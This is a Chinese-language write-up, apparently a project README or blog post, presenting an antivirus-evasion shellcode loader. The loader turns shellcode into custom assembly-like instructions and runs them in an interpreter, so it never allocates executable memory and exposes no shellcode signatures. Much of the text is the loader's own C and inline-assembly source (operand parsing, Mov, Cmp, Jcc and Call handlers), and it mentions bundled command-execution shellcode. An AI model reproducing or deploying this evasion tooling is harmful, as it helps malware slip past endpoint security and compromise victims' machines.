这是一个免杀项目，与 PWN 无关！
新型 ShellCode 加载器，无可执行权限加载 ShellCode。
项目: https://github.com/HackerCalico/No_X_Memory_ShellCode_Loader
博客: https://hackercalico.github.io/No_X_Memory_ShellCode_Loader.html
该技术是我在 2024 年初首次提出的，当时发布了一个非常简单的 x86 小样例来证明可行性。因为今年时间过于紧张，直到现在我才发布了 x64 版本，可以说是一个相当完备的版本。
我为此突破感到激动！
无需解密，无需 X 内存，直接加载运行 R 内存中的 ShellCode 密文。
避免了以下特征：
(1) 申请 RWX 属性的内存。
(2) 来回修改 W 和 X 的内存属性。
(3) 内存中出现 ShellCode 特征码。
加载流程：
(1) 正常生成 ShellCode 机器码。
(2) ShellCode --- 转换器 ---> 自定义汇编指令。
(3) 解释器 运行 自定义汇编指令。
详细介绍：
https://hackercalico.github.io/No_X_Memory_ShellCode_Loader_Principle.html
ShellCode：CMD 命令执行 ShellCode & 获取文件信息列表 ShellCode。
Converter：自定义汇编指令转换器。
pip install capstoneLoader：ShellCode 加载器 (自定义汇编指令解释器)。
Interpreter ShellCode：解释器 ShellCode 版。
为了减轻解释器的压力，我们的自定义汇编指令一定要设计成容易解释的格式。
下面对本项目提供的 CMD 命令执行 ShellCode 案例进行讲解：
(1) 生成原始汇编指令
将 ShellCode 机器码 (ShellCode.txt) 转为原始汇编指令 (asm.txt)。
该功能简单利用 capstone 库实现。
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 1
ShellCode使用的汇编指令: {'lea', 'cdqe', ......, 'repStosb'}
汇编指令生成完毕: asm.txtasm.txt：
0x0_mov_qword ptr [rsp + 0x20], r9
0x5_mov_qword ptr [rsp + 0x18], r8
0xa_mov_dword ptr [rsp + 0x10], edx
......(2) 修改 asm.txt
考虑到原始汇编指令可能存在一些特殊情况，需要进行修改。所以我将转换过程分为了先转为原始汇编指令，再转为自定义汇编指令两个阶段。
观察原始汇编指令，可以发现存在 imul 指令，并且全部为 imul a, a, b 的格式。我们直接把它们全部转为 imul a, b 的格式方便处理。
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 2
已将 asm.txt 中的 imul a, a, b 全部转换为 imul a, b(3) 生成自定义汇编指令
将 asm.txt 中的原始汇编指令转为自定义汇编指令。
> python Converter.py
1.反汇编
2.Imul转换
3.生成自定义汇编指令
选择: 3
0_4_q_pq70+i20_q_q38_......2ed_3_q__q__!
PVOID mnemonicMapping[] = { Push, Pop, ......, Jle };0_4_q_pq70+i20_q_q38 为第一条自定义汇编指令，! 为整个自定义汇编指令的结束标志。
第一条的原始汇编指令：0x00 mov qword ptr [rsp + 0x20], r9
指令地址：0x00 ------> 0
在处理 Jcc 跳转指令时需要使用，去掉 0x 减短长度。
助记符：mov ------> 4
4 为 mov 在 mnemonicMap 中的下标。
解释器逐条指令执行，通过下标获取 mnemonicMap 中当前指令的处理函数指针，进行反射调用。避免了解释器代码中出现大量 if else 或 switch case。
操作数1：qword ptr [rsp + 0x20] ------> q_pq70+i20
q 表示 QWORD，p 表示 ptr。
q70 表示 vtRSP。在解释器中通过 vtRegs 数组存储虚拟寄存器的值，70 是 vtRSP 相对 vtRegs 基址的偏移，直接通过地址操作寄存器的值。避免了解释器代码中出现大量不同位数的寄存器的定义，以及繁琐操作。
i20 表示立即数 0x20。
操作数2：r9 ------> q_q38
q 表示 QWORD。
q38 表示 R9，同理偏移。
(1) 创建虚拟栈和虚拟寄存器
PVOID vtStack = malloc(0x10000);
DWORD_PTR vtRegs[18] = { 0 };
vtRegs[14] = vtRegs[15] = (DWORD_PTR)vtStack + 0x9000;14 和 15 分别对应 vtRSP 和 vtRBP。
(2) 设置虚拟寄存器的初值
因为解释器是从 ShellCode 函数的开头进行模拟的，所以在模拟开始之前，要先在虚拟空间中构建出 ShellCode 函数的参数。
本项目提供的 CMD 命令执行 ShellCode 函数通过以下代码调用：
ExecuteCmd(commandPara, commandParaLength, &outputData, &outputDataLength, funcAddr);该行代码对应的汇编指令：
lea rax, [funcAddr]
mov qword ptr [rsp+20h], rax
lea r9, [outputDataLength]
lea r8, [outputData]
mov edx, dword ptr [commandParaLength]
lea rcx, [commandPara]
call ExecuteCmd所以要通过以下代码在虚拟空间中构建出函数参数：
vtRegs[0] = (DWORD_PTR)pFuncAddr;
*(PDWORD_PTR)(vtRegs[14] + 0x20) = vtRegs[0];
vtRegs[7] = (DWORD_PTR)pOutputDataLength;
vtRegs[6] = (DWORD_PTR)pOutputData;
vtRegs[3] = commandParaLength;
vtRegs[2] = (DWORD_PTR)commandPara;
vtRegs[14] = vtRegs[14] - sizeof(DWORD_PTR);(3) 解析自定义汇编指令
根据 指令地址_助记符_位数1_操作数1_位数2_操作数2 的格式将每条指令的元素解析出来。
通过 GetOpTypeAndAddr 函数获取每个操作数的类型和地址，每种指令的处理函数会直接通过操作数的地址对其值进行操作，非常方便。
如果操作数是立即数，例如 i12 (0x12)。则直接通过 strtol 函数将 12 字符串转为数字，该数字的地址即为该操作数的地址。
如果操作数是 lea 的第二个操作数或内存空间，例如 lq70+i20 ([rsp + 0x20]) 或 pq70+i20 (ptr [rsp + 0x20])。则先解析其子元素进行计算，计算结果保存到 number1。如果操作数是 lea 的第二个操作数，则 number1 的地址即为该操作数的地址。如果操作数是内存空间，则 number1 的值即为该操作数的地址。
如果操作数是寄存器，例如 q70 (rsp)。70 是 vtRSP 相对 vtRegs 基址的偏移，则 vtRegs 基址 + 70 即为该操作数的地址。
// 获取操作数值的 类型(r寄存器/m内存空间) + 地址
DWORD_PTR GetOpTypeAndAddr(char* op, char* pOpType1, PDWORD_PTR pVtRegs, PDWORD_PTR opNumber) {
......
// 立即数
if (op[0] == 'i') {
*opNumber = strtol(op + 1, &endPtr, 16);
return (DWORD_PTR)opNumber;
}
// lea [] / ptr []
else if (op[0] == 'l' || op[0] == 'p') {
......
// 解析算式 (未考虑“*”)
ParseFormula(op + 1, formula, symbols);
// 计算 (未考虑“*”)
DWORD_PTR number1 = 0;
......
// lea []
if (op[0] == 'l') {
*opNumber = number1;
return (DWORD_PTR)opNumber;
}
// ptr []
if (pOpType1 != NULL) {
*pOpType1 = 'm';
}
return number1;
}
// 寄存器
else {
if (pOpType1 != NULL) {
*pOpType1 = 'r';
}
return (DWORD_PTR)pVtRegs + strtol(op + 1, &endPtr, 16);
}
}(4) 调用对应指令的处理函数
通过解析得到的当前指令的下标获取当前指令的处理函数指针。
PVOID mnemonicMapping[] = { Push, Pop, ......, Jle };
PVOID instructionFunc = mnemonicMapping[mnemonicIndex];下面举几种指令的处理函数的例子：
Mov 指令
// 其他两个操作数的指令
else {
((void(*)(...))instructionFunc)(opType1, opBit1, opAddr1, opBit2, opAddr2);
}void Mov(char opType1, char opBit1, DWORD_PTR opAddr1, char opBit2, DWORD_PTR opAddr2) {
switch (opBit1)
{
case 'q':
*(PDWORD64)opAddr1 = *(PDWORD64)opAddr2;
break;
case 'd':
if (opType1 == 'r') {
*(PDWORD_PTR)opAddr1 = *(PDWORD)opAddr2;
}
else {
*(PDWORD)opAddr1 = *(PDWORD)opAddr2;
}
break;
case 'w':
*(PWORD)opAddr1 = *(PWORD)opAddr2;
break;
case 'b':
*(PBYTE)opAddr1 = *(PBYTE)opAddr2;
break;
}
}case 'd' 表示 操作数1 为 DWORD，在 操作数1 类型为 DWORD 寄存器时存在特殊情况。
特殊情况通过下例来解释：
mov rax, 0x1234567812345678
mov eax, 0x11111111运行后 rax 为 0x0000000011111111。
Cmp 指令
else if (instructionFunc == Cmp || instructionFunc == Test) {
((void(*)(...))instructionFunc)(opBit1, opAddr1, opAddr2, pVtRegs);
}将两个操作数的值赋值到 r10 和 r11，计算完成后将标志寄存器的值赋值到 vtEFL。
void Cmp(char opBit1, DWORD_PTR opAddr1, DWORD_PTR opAddr2, PDWORD_PTR pVtRegs) {
__asm {
mov r8, qword ptr[opAddr1]
mov r9, qword ptr[opAddr2]
mov r10, qword ptr[r8]
mov r11, qword ptr[r9]
}
DWORD_PTR vtEFL;
switch (opBit1)
{
case 'q':
__asm {
cmp r10, r11
pushf
pop rax
mov vtEFL, rax
}
break;
......
}
pVtRegs[17] = vtEFL;
}Jcc 指令
传入具体的 Jcc 指令的处理函数指针。
Jcc(instructionFunc, opAddr1, pVtRegs);通过具体的 Jcc 指令的处理函数判断是否跳转。如果跳转，则将 操作数1 的值赋值给 vtRIP。
void Jcc(PVOID instructionFunc, DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {
DWORD_PTR vtEFL = pVtRegs[17];
int isJmp = ((int(*)(...))instructionFunc)(vtEFL);
if (isJmp) {
DWORD_PTR vtRIP = *(PDWORD_PTR)opAddr1;
pVtRegs[16] = vtRIP;
}
}Je 指令
作为具体的 Jcc 指令的处理函数，先将 vtEFL 的值赋值到标志寄存器，再判断是否跳转。
int Je(DWORD_PTR vtEFL) {
int isJmp = 1;
__asm {
mov rax, vtEFL
push rax
popf
je jmp
mov isJmp, 0x00
jmp :
}
return isJmp;
}Call 指令
其实现是所有指令中最复杂的，因为涉及到 Windows API 的调用。
首先保存真实栈顶栈底，最后还原真实栈顶栈底，保证解释器能正常运行。
调用 Windows API 之前，要先将虚拟寄存器的值覆盖真实寄存器的值，相当于构造好 Windows API 的参数。
调用完 Windows API 之后，要将真实寄存器的值覆盖虚拟寄存器的值。
void Call(DWORD_PTR opAddr1, PDWORD_PTR pVtRegs) {
// 保存真实栈顶栈底
DWORD_PTR realRSP;
DWORD_PTR realRBP;
__asm {
mov realRSP, rsp
mov realRBP, rbp
}
// Window API 地址
DWORD_PTR winApiAddr = *(PDWORD_PTR)opAddr1;
// 虚拟寄存器 覆盖 真实寄存器
DWORD_PTR vtRAX = pVtRegs[0];
......
DWORD_PTR vtRBP = pVtRegs[15];
__asm {
mov rax, vtRAX
......
mov rsp, vtRSP
// mov rbp, vtRBP (与 Call 冲突)
}
// 调用 Windows API
__asm {
call qword ptr[winApiAddr] // (call qword ptr [rbp])
}
// 保存调用 Windows API 后真实寄存器的值
__asm {
push rax
......
push rbp
}
// 真实寄存器 覆盖 虚拟寄存器
DWORD_PTR currentRSP;
__asm {
mov currentRSP, rsp;
}
pVtRegs[0] = *(PDWORD_PTR)(currentRSP + 0x78); // RAX
......
pVtRegs[14] = *(PDWORD_PTR)(currentRSP + 0x08) + 0x70; // RSP
pVtRegs[15] = *(PDWORD_PTR)(currentRSP + 0x00); // RBP
// 还原真实栈顶栈底
__asm {
mov rsp, realRSP
mov rbp, realRBP
}
}